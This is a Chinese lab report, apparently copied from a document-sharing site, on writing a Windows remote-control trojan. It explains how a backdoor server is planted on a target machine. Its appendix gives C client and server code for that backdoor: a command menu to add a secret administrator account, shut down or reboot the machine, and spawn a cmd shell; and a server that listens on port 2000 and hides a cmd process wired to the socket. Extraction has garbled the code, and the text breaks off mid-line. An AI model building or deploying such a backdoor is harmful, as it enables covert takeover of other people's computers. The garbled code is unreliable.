1、recv()/send()-closesocket()客户端流程如下:connect()- 远程控制与木马程序远程控制实际上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里,随着系统启动而自行启动。此外,使用传统技术的程序会在某端口进行监听,若接收到数据就对其进行识别,然后按照识别后的命令在目标计算机上执行一些操作(比如窃取口令,拷贝或删除文件,或重启计算机等)。攻击者一般在入侵成功后,将服务端程序拷贝到目标计算机中,并设法使其运行,从而留下后门。日后,攻击者就能够通过运行客户端程序,来对目标计算机进行操作 。总体流程:通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分
2、为两部分:即客户端和服务端木马程序。其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序根据客户端的指令而执行相应的操作。软件流程图:5 实验结果及结论6 附录:程序清单及说明客户端程序:#include /包含标准输入输出库winsock.h /包含windows套接字函数#pragma comment(lib,Ws2_32) /将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 /每次可以接收的最大字节 #def
3、ine SEND_PORT 2000 /与木马程序连接的端口为2000struct sockaddr_in ClientAddr; /对方的地址端口信息SOCKET sock; /定义套接字变量,为全局变量DWORD startSock() /建立套接字功能模块WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock = socket(A
4、F_INET, SOCK_STREAM, 0); /连接对方return 1;int main(int argc, char *argv) u_int numbyte; char bufMAXSIZE; /传送数据的缓冲区 if (argc != 2) /需要有服务端ip参数,格式:client.exe IP地址 fprintf(stderr,usage: client hostnamen exit(1); startSock();/调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; /协议类型是INET ClientAddr.sin_port = hto
5、ns(SEND_PORT); /连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(argv1); /连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr);-远程控制木马程序菜单-rnprintf(test -检测连接rnadd -建立Windowsxp系统的秘密帐号rnshutdownxp -关闭Windowsxp计算机rnresetxp -重新启动Windowsxp计算机rnclose -关闭光驱rnopen -打开光驱rnsell -建立
6、cmd进程rnOSVersion -显示系统版本rn-rn numbyte=recv(sock, buf, MAXSIZE, 0);/接收服务端发来的提示符 if(numbyte=SOCKET_ERROR) closesocket(sock); bufnumbyte = 0;%s,buf); /显示服务端发来的提示符 if(strcmp(buf, quit) = 0 ) return 0; while(1) buf0 = scanf(/输入控制指令 int iLen = strlen(buf); bufiLen = 0xa; bufiLen+1 = /要求控制指令串最后为回车符,以示结束 nu
7、mbyte=send(sock, buf, strlen(buf), 0);/发出控制指令 if(numbyte=SOCKET_ERROR) closesocket(sock); break; numbyte=recv(sock, buf, MAXSIZE, 0); bufnumbyte = printf( if(strcmp(buf, closesocket(sock); return 0;服务器程序:winsock2.h /包含windows套接字函数 /包含标准输入输出函数mmsystem.h /光驱控制函数mciSendString()所需的头文件iostream.h /包含C+系统输
8、入输出函数string.h /包含字符串处理函数winuser.h /WinExec()函数所需的头文件)/将注释wsock32放置到lib文件中,否则需要加载Winmm.lib)/光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 /木马服务端对外响应的端口#define PATH 200 /程序自启动的最大路径SOCKET sock1,sock2;/sock1为服务端程序自身建立的套接字/sock2为服务端与客户端建立响应后的套接字int g1;char Buff1024,cmd1024;/缓冲区 sock1 = WSASocket(AF_INE
9、T, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); /建立套接字,为TCP/IP、流式格式 struct sockaddr_in serverAddr; /保存套接字地址的结构体 serverAddr.sin_family = AF_INET; /规定使用IPv4协议 serverAddr.sin_port = htons(RECV_PORT); /响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr *)&serverAddr,
10、sizeof(serverAddr); /绑定端口与套接字 g1=listen(sock1,5);/等待监听,最大可接受5个连接请求 int serverAddrSize = sizeof(serverAddr); sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize); /如果客户请求2000端口,接受连接,并返回sock2套接字 return 1;int cmdshell(SOCKET sock) /建立cmd进程功能模块 STARTUPINFO startinfo; /控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / 决定本结构的每一个成员是否起作用 startinfo.wShowWindow = SW_HIDE;/窗口显示模式,隐藏格式 startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)so
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1